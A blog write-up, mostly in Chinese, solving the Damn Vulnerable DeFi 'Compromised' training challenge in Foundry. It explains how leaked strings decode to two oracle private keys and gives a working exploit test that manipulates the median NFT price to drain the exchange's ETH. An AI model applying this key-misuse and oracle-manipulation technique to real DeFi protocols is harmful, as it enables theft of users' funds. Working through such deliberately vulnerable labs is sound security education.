banner
zach

zach

github
twitter
medium

該死的易受攻擊的DeFi | 被入侵

挑戰 #7 - 受到威脅#

In order to learn solidity and foundry systematically, I have rewritten the solution to damnvulnerable-defi based on the foundry testing framework. Welcome to discuss and collaborate~🎉

合約#

  • Exchange: 提供購買(mint)和售賣 (burn) DamnValuableNFT 的方法,對應的價格由預言機提供
  • TrustfulOracle: 可信價格預言機合約,維護著由幾個可信的帳號設定的 nft 價格,對外提供查詢 nft 價格中位數的方法
  • TrustfulOracleInitializer:用於部署 TrustfulOracle 合約並初始化 nft 價格

測試#

  • 部署 TrustfulOracleInitializer 合約,順帶完成 TrustfulOracle 合約的部署,設定初始 nft 價格為 INITIAL_NFT_PRICE
  • 部署 Exchange 合約,順帶完成 DamnValuableNFT 合約的部署,存入 EXCHANGE_INITIAL_ETH_BALANCE
  • 執行攻擊腳本
  • 期望 Exchange 合約中的餘額為 0,player 餘額為 EXCHANGE_INITIAL_ETH_BALANCE,player 不擁有 nft,oracle 中的 nft 價格中位數為 INITIAL_NFT_PRICE

解題#

通過閱讀 Exchange 合約可以發現 buyOnesellOne 所需要付的和收回的 eth 都是由 oracle 提供的,通過 oracle.getMedianPrice() 方法獲得 nft 的價格

攻擊的目標是獲取 Exchange 合約中的全部 eth,則可以通過低買高賣 nft 的方式來賺取 EXCHANGE_INITIAL_ETH_BALANCE 數額的 eth,因此最終目標來到了操縱預言機,通過分析 oracle 的獲取 nft 價格中位數的方法可以得知,只需要操縱過半的預言機就可以達到修改價格的目的

function _computeMedianPrice(string memory symbol) private view returns (uint256) {
        uint256[] memory prices = getAllPricesForSymbol(symbol);
        LibSort.insertionSort(prices);
        if (prices.length % 2 == 0) {
            uint256 leftPrice = prices[(prices.length / 2) - 1];
            uint256 rightPrice = prices[prices.length / 2];
            return (leftPrice + rightPrice) / 2;
        } else {
            return prices[prices.length / 2];
        }
    }

題目中給了一段捕獲到的 http 報文信息,合理推測這兩段字串就是對應其中兩個預言機的私鑰,將 16 進制數轉成 ASCII 碼,再通過 base64 解碼,最終得到兩個私鑰

完整的流程圖如下所示:

image

首先通過操縱預言機降低 nft 單價讓 player 購買,再操縱預言機將 nft 價格提升讓 player 賣出即完成攻擊,程式碼如下:

function testExploit() public{
        /*Code solution here*/
        oracle1 = vm.addr(0xc678ef1aa456da65c6fc5861d44892cdfac0c6c8c2560bf0c9fbcdae2f4735a9);
        oracle2 = vm.addr(0x208242c40acdfa9ed889e685c23547acbed9befc60371e9875fbcd736340bb48);

        postPrice(0.0001 ether);

        vm.startPrank(player);
        uint256 id = exchange.buyOne{value: 0.0001 ether}();
        vm.stopPrank();

        uint256 exchangeBalance = address(exchange).balance;
        postPrice(exchangeBalance);

        vm.startPrank(player);
        nftToken.approve(address(exchange), id);
        exchange.sellOne(id);
        vm.stopPrank();

        postPrice(INITIAL_NFT_PRICE);

        validation();
    }

function postPrice(uint256 price) public{
        vm.startPrank(oracle1);
        oracle.postPrice('DVNFT', price);
        vm.stopPrank();
        vm.startPrank(oracle2);
        oracle.postPrice('DVNFT', price);
        vm.stopPrank();
    }
載入中......
此文章數據所有權由區塊鏈加密技術和智能合約保障僅歸創作者所有。